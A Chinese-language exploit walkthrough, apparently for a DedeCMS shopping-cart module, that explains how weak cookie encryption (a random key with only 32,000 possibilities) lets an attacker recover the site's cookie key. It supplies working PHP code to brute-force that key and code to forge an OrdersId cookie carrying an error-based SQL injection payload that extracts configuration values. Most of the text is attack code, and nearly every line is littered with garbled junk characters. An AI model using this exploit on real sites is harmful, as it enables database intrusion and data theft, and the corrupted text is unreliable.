www.xxx.com/plus/search.php?keyword=
0 G/ _2 `# {' }4 i* Y& S在 include/shopcar.class.php中' H) }$ b( O z1 \
先看一下这个shopcar类是如何生成cookie的" [. L* I) o, Q0 H# s. Q0 v
239 function saveCookie($key,$value)5 p4 b$ t( `/ U5 }5 i3 T
240 {# }) X2 c* I' i0 Q* [5 D I. g9 j
241 if(is_array($value))
' O0 H& Z/ N3 ~: a. D2 g242 {
( q `# ]9 t& ~243 $value = $this->enCrypt($this->enCode($value));
+ k! Z& x+ y% K. R% J0 `. ^244 }
' B4 A" Z& @8 G( [2 p/ e. }245 else
7 c+ s1 _$ f6 }& p" b. n! b246 {' q# D H, h$ f; z# g7 R: `/ U
247 $value = $this->enCrypt($value);9 X4 S% }! A' P% l; M5 c/ z% Y
248 }
) w% c5 ^$ `6 n) g249 setcookie($key,$value,time()+36000,’/');0 T" C1 F J; |8 h: d
250 }6 s- p$ G4 k8 X9 P+ m
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
& X6 j: a, J3 [4 W186 function enCrypt($txt)
+ |9 u5 R! c* t& ?, @& a) E+ i- T187 {! u4 W+ Y/ U5 S5 c, ?" c
188 srand((double)microtime() * 1000000);
6 p/ B6 l# f* y. A0 F189 $encrypt_key = md5(rand(0, 32000));
) C4 ^' D: T$ E7 j190 $ctr = 0;8 }) ~4 y L6 Z/ K
191 $tmp = ”;. p8 c+ d$ i m8 U, z, g; D( ]
192 for($i = 0; $i < strlen($txt); $i++)
0 h0 i* i% ]" t- U- P( ?193 {$ {* I& N; h' n3 |( h
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;3 ~1 k. C& P* w' V+ w2 ]
195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
* M5 b5 ?1 H# y- j196 }
# Y: W, q1 M$ o/ C197 return base64_encode($this->setKey($tmp));
G& j& U& x# Z198 }
" h, V+ }+ r/ i7 e213 function setKey($txt)
) l! v1 S: Y# v4 o# U) h* q( q214 {9 m+ G/ e2 o3 _7 {2 s( j
215 global $cfg_cookie_encode;
" p7 P- c2 s5 H& x. s2 a- R5 H216 $encrypt_key = md5(strtolower($cfg_cookie_encode));
# h- @7 f3 m8 `1 S2 x, \8 s* ]) x$ Z% D217 $ctr = 0;
7 ]) ]; G. E) Q8 V: F218 $tmp = ”;. V9 Z! A2 z0 l9 l" c& Q
219 for($i = 0; $i < strlen($txt); $i++)# D, k1 d8 C2 Y; N3 [
220 {
, K7 R# u5 h2 H w! ^/ `+ L$ Y/ C221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;; H3 b0 V( |* ^3 C) ~
222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];9 O0 Z/ S% z+ U3 R. P/ S
223 }
( Z2 W# {4 x6 ^- E224 return $tmp;4 Z8 n+ I- n# `2 m/ _5 [
225 }0 [" l# o6 H$ u3 y6 [9 i
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
" T# o) u1 B/ B+ T+ A. H然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
8 `1 R0 H% D# [$ F具体代码如下:( K& b1 j, f0 l& ~2 p
<?php
+ r' z( a1 k* Z& `# Z5 i) C" {$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
9 k" ]( d0 I, n, Q0 v3 |$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here8 F( ^! ]1 y/ W. ~# n
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here9 r/ G, f& {: e
function reStrCode($code,$string)9 W" o* ~2 S8 r1 o
{/ c) r# D7 G$ c, E
$code = base64_decode($code);) x7 \' G- U' R' t0 u
$key = “”;9 T0 ~: a/ P( _# C! J/ {& b8 G
for($i=0 ; $i<32 ; $i++)
" b) \3 t/ D' V) P+ J{" ~( W4 R7 a+ ^2 I5 p, D
$key .= $string[$i] ^ $code[$i];5 y& |1 F4 u8 L8 S0 E
}" w$ [1 W0 }* k( b8 j
return $key;0 I6 k& d, l) G- o1 G4 I+ U: k% ^
}1 c3 H& g. v \" S. a3 x
function getKeys($cookie,$plantxt)% A m$ w1 m; B9 G
{
$ P5 K9 X* B$ o; G+ e/ y) }$tmp = $cookie;
% _& p; a! P F8 S( u$results = array();
$ v1 }6 T2 g( }' l& O hfor($j=0 ; $j < 32000; $j++)
- f2 r- ^) N& R, Y/ T: w{
& d! {' A/ V4 M& |
0 a' P& u0 T& N% Q a9 n$txt = $plantxt;0 a# |# V1 h8 ?$ v- q8 {
$ctr = 0;4 X8 j# U2 \ i( [
$tmp = ”;
3 W8 M' l3 S" M* K& {$encrypt_key = md5($j); C) s0 D. O* K* P' s
for($i =0; $i < strlen($txt); $i ++)
+ U! \. n6 J" G{
! v0 Y4 A( U/ H; Y3 I: P" s$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
6 f! J" Z5 A- R5 E9 Q, [$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);/ y, O9 g/ P& G" ^
}
0 g, |( J4 T( p2 A% F; V0 `$string = $tmp;
3 K$ b# n( k$ T" {! @1 {$code = $cookie;* N) Y% B& U6 f, S5 V- d: ~9 T; c
$result = reStrCode($code,$string);
% P( Z |! @% b' h% [' J; vif(eregi(‘^[a-z0-9]+$’,$result))
0 r) a) h* E4 {$ Z3 l: W{
4 J0 D/ u& P4 H3 T5 techo $result.”\n”;* B! ^9 J: d( z i
$results[] = $result;5 M. t/ [4 C8 v7 s/ r
}" ^4 ~0 A7 ~1 q8 t! A: A+ Z
}6 j4 d E" H5 O; ?/ _) S, @$ K
return $results;, R6 L" H0 r7 d
}# |! d( X# L& }- n# a) n
$results1 = getKeys($cookie1,$plantxt);1 q& o9 d# n2 z, E/ r) [7 p: \
$results2 = getKeys($cookie2,$plantxt);
4 f0 }+ }% g" j6 v$ l, r3 m Eprint “\n——————–real key————————–\n”;" b+ ]5 Z! e- t
foreach($results1 as $test1)
, r/ i( X }. b{
L ~$ L4 G z- n2 _foreach($results2 as $test2)
$ ]# }* K2 j1 p$ J! r! P. y{+ n f! K6 f" f2 q
if($test1 == $test2)6 D& Q/ M8 B) j/ Z& o8 c# |9 E6 R
{
; p8 B) n! v2 E, Xecho $test1.”\n”;
) A) |! O, [4 R: P4 B2 B}
! w( [/ x/ Q- U' g- s}
; m& w5 _2 r- d# O3 X+ s}, ~' K5 w& L; P0 e8 \9 Q
?>
9 C! E( t0 L- j! {7 O# I! _2 q( @! kcookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
: p4 O/ `9 [4 }plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
7 \6 A& |$ L$ J5 t' i然后推算出md5(strtolower($cfg_cookie_encode)) S- P0 v' i/ c) S4 o
得到这个key之后,我们就可以构造任意购物车的cookie
# B6 i) o$ A7 e; O" D1 b l接着看: ^4 p* M; T9 p7 D! M
20 class MemberShops. ]$ ~$ k- t2 Q! G; V
21 {
: W+ _4 S5 G5 K) e6 w$ |8 H22 var $OrdersId;( p, V9 E" [0 A
23 var $productsId;
6 L6 s$ w, Q7 M0 p# D' }/ o- ~: s( \! m24
7 T, q) w2 {4 j0 I/ X; T4 w4 O25 function __construct()
' r V; k, Q2 i- {9 f. n. U9 _# T26 { i: @ R2 J4 X
27 $this->OrdersId = $this->getCookie(“OrdersId”);
" O4 d* u7 A: s28 if(empty($this->OrdersId))) E6 i l$ R7 Y# j; m3 w
29 {0 y9 v9 ]$ K! K- j. Z: Y; p% f- q
30 $this->OrdersId = $this->MakeOrders();
% P/ G0 W! {: \/ F. G: P31 } j# o6 B. w$ y
32 }
- S0 V& o! f' M. a' O' w发现OrderId是从cookie里面获取的
( |# a3 s% ?7 q, j' Y. X; v) O然后
+ ~6 C5 C! w0 p; _+ Q! W/plus/carbuyaction.php中的( @9 R5 ^+ X! t) u& f) i5 d q2 d
29 $cart = new MemberShops();
5 Q8 B# G" @( d* V) f) B& x39 $OrdersId = $cart->OrdersId; //本次记录的订单号0 a4 I" s3 N' e f' p' Z
……' Z0 M- n6 l5 s; D1 ]
173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);% ?; N! N9 E( L$ b
接着我们就可以注入了5 a9 U1 R8 z' A6 Y5 v1 N# e
通过利用下面代码生成cookie:% F2 v c9 e$ @7 v1 O& l' r- ?& g
<?php
0 X# o4 |% z# t: _$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
3 l' \& q0 D" y$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here
1 K9 E8 ^0 O# M$ r' Efunction setKey($txt)2 T2 z8 {: ]% S4 J5 o2 F7 N& E
{: S5 o" }7 {0 Z0 T* a4 s- }" T
global $encrypt_key;( o& u# C3 t: w7 B$ `0 H
$ctr = 0;# Q; \& S/ ?: C! ]/ d/ P& F
$tmp = ”;
; L/ c! U ?7 ~" sfor($i = 0; $i < strlen($txt); $i++)
2 e+ i5 V6 y3 i. U" W9 D# G: ^{- a, i l* o1 \4 ]
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;6 N/ ^3 R# ]9 S" y0 n. ]/ T1 n% I* w, D
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
. R7 W. ^* h1 s* j! V3 X4 L& t}! y. U# m) s* r+ Q
return $tmp;9 f7 ~ a) B) a4 o8 ]2 U
}
) i# M: h0 j2 s+ | O2 {function enCrypt($txt)7 I- W( d" r5 U8 [3 t
{
7 u# t" D" t# r- @( A. Dsrand((double)microtime() * 1000000);2 z4 @$ ~* P$ c! F& m9 \* U
$encrypt_key = md5(rand(0, 32000));8 o9 A' e! M. t0 n
$ctr = 0;
( o8 x6 Y" I+ C0 a/ v/ ]$tmp = ”;
# D5 v8 s/ a; U$ G4 @: M4 k9 Zfor($i = 0; $i < strlen($txt); $i++)
) [! T9 Z4 R! S{
! L6 p# J1 n9 F$ k0 A2 W: @$ V, ?$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;5 R2 q, M7 \: o/ B# R2 O
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
7 R' b9 u! l+ L+ |! o8 o, |" a}
6 y1 f+ _. y2 _7 Breturn base64_encode(setKey($tmp));6 u4 ^# {# m' {3 J' E6 Z8 G G
}
' @1 [) v) P& S% Q) u) V5 h4 b( Ofor($dest =0;$dest = enCrypt($txt);) y5 g3 E' a b+ c4 H
{: p5 R8 C8 x( _* E$ Y6 @+ E. L4 d2 ~
if(!strpos($dest,’+'))
7 O2 P! J9 R0 [+ m; @" `{
: a! n! O N& ]5 i! l0 N5 \1 ~break;
6 }5 p2 V" X4 h, Z2 w9 J: K+ ~# j}4 }' W. e% L: X$ p; ]% f0 }
}
5 G+ Z$ N/ Z8 z* B& p1 F) necho $dest.”\n”;$ C. Z8 w! U# ?, ^, T$ E+ G
?>
; a" l8 U5 e/ s* K3 C: o1 K$ f) l& |
|